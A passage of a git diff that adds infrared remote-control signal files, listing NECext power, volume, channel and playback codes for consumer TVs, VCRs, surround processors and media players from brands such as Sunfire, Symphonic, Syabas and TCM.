parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: Goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir new file mode 100644 index 000000000..a7523bd46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: LD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 02 00 00 00 +# +name: TUNER_PRESET_10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: TUNER_PRESET_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: TUNER_PRESET_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: V._AUX +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: DAT/TAPE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: DBS/BS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir new file mode 100644 index 000000000..8757494b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 06 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 07 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 54 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir new file mode 100644 index 000000000..b81993cbd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SURROUND +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 19 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: B8 03 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir new file mode 100644 index 000000000..df55c69f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir b/assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir new file mode 100644 index 000000000..a6e61b45a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: Mem2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 80 00 00 00 +# +name: LCR +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 81 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 82 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 84 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 85 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 86 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 87 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 88 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 89 00 00 00 +# +name: Mem3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 8F 00 00 00 +# +name: Mem4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 90 00 00 00 +# +name: Mem1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 92 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 93 00 00 00 +# +name: Fplus +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 95 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 96 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 97 00 00 00 +# +name: Fminus +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 98 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 99 00 00 00 +# +name: CFT +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9A 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir new file mode 100644 index 000000000..4ba1b9bb4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir b/assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir new file mode 100644 index 000000000..14045cce4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 01 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 03 00 00 00 +# +name: KEY_ARCHIVE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 07 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 11 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 12 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 13 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 15 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 17 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 42 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 43 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 46 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 47 00 00 00 +# +name: KEY_FILE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 48 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4C 00 00 00 +# +name: KEY_SUSPEND +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4D 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4E 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 51 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 52 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 53 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 54 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 55 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 56 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 57 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 58 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 59 00 00 00 +# +name: KEY_CAPSLOCK +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5A 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir new file mode 100644 index 000000000..ee552b832 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: SET_+ +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 06 00 00 00 +# +name: SET_- +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 07 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 08 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 0B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 20 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 21 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 22 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 23 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 29 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 30 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 31 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir new file mode 100644 index 000000000..ce5e3c7f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 06 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0D 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0E 00 00 00 +# +name: ADD/DELETE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 14 00 00 00 +# +name: TAPE_COUNTER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 15 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: POWER/TIMER_RECORD +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 39 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir new file mode 100644 index 000000000..92ed9560b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +100 +type: parsed +protocol: NECext +address: 2C 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir new file mode 100644 index 000000000..bb334636a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: txt-clr +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: txt-large +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext 